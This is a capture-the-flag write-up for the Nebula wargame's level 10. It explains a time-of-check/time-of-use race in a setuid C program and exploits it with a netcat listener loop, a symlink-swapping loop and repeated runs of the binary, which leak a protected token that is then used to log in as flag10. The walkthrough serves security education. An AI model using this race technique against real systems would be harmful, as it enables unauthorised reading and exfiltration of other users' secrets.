In Level10 we are given a vulnerable piece of code:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)  
 char *file;
 char *host;

 if(argc < 3) {
  printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

 file = argv[1];
 host = argv[2];

 if(access(argv[1], R_OK) == 0) {
  int fd;
  int ffd;
  int rc;
  struct sockaddr_in sin;
  char buffer[4096];

  printf("Connecting to %s:18211 .. ", host); fflush(stdout);

  fd = socket(AF_INET, SOCK_STREAM, 0);

  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(host);
  sin.sin_port = htons(18211);

  if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
   printf("Unable to connect to host %s\n", host);

#define HITHERE ".oO Oo.\n"
  if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
   printf("Unable to write banner to host %s\n", host);
#undef HITHERE

  printf("Connected!\nSending file .. "); fflush(stdout);

  ffd = open(file, O_RDONLY);
  if(ffd == -1) {
   printf("Damn. Unable to open file\n");

  rc = read(ffd, buffer, sizeof(buffer));
  if(rc == -1) {
   printf("Unable to read from file: %s\n", strerror(errno));

  write(fd, buffer, rc);

  printf("wrote file!\n");

 } else {
  printf("You don't have access to %s\n", file);

There is a clear TOCTOU (Time of check, Time of use) vulnerability. The code checks if the file belongs can be accessed by the user calling the application and if so, it sends it over the wire. The problem is that there is no guarantee that the file that is sent is the same one that was checked with access() and we can try to exploit this race condition by being faster than the code :D
In order to do so we will need different moving parts:

  • A listener waiting for the token. We will implement this using netcat. We will simply loop nc so that it accepts new connections when done with the previous one. We will also output whatever we receive to the out file. We will look for our token there:
level10[email protected]:~$ while true; do nc -lnp 18211 >> out; done  
  • We will create a fake token file that belongs to us so we can use the flag10 program to send it to any host. We will place it on /tmp/faketoken and it will contain "wrong token, keep trying!":
[email protected]:~$ echo "wrong token, keep trying!" > /tmp/faketoken  
  • We will start a loop that creates a symbolic link in /home/level10/token pointing to /tmp/faketoken and will alternate it with the real token at /home/flag10/token:
[email protected]:~$ while true; do ln -fs /tmp/faketoken token; ln -fs /home/flag10/token token; done  
  • All we need to do now is start the flag10 program:
[email protected]:~$ while true; do /home/flag10/flag10 /home/level10/token; done  
  • Tailing /home/level10/out we will see the token appear very quickly:
[email protected]:~$ tail -f out  
oO Oo.  
wrong token, keep trying!  
.oO Oo.
wrong token, keep trying!  
.oO Oo.
wrong token, keep trying!  
.oO Oo.
.oO Oo.
.oO Oo.
.oO Oo.
wrong token, keep trying!  
.oO Oo.
  • Login as flag10 and get the flag:
[email protected] ~> ssh [email protected]

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where  
XX is the level number.

Currently there are 20 levels (00 - 19).

[email protected]'s password:  
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:
Your Ubuntu release is not supported anymore.  
For upgrade information, please visit:

New release '12.04.3 LTS' available.  
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.

[email protected]:~$ id  
uid=989(flag10) gid=989(flag10) groups=989(flag10)  
[email protected]:~$ getflag  
You have successfully executed getflag on a target account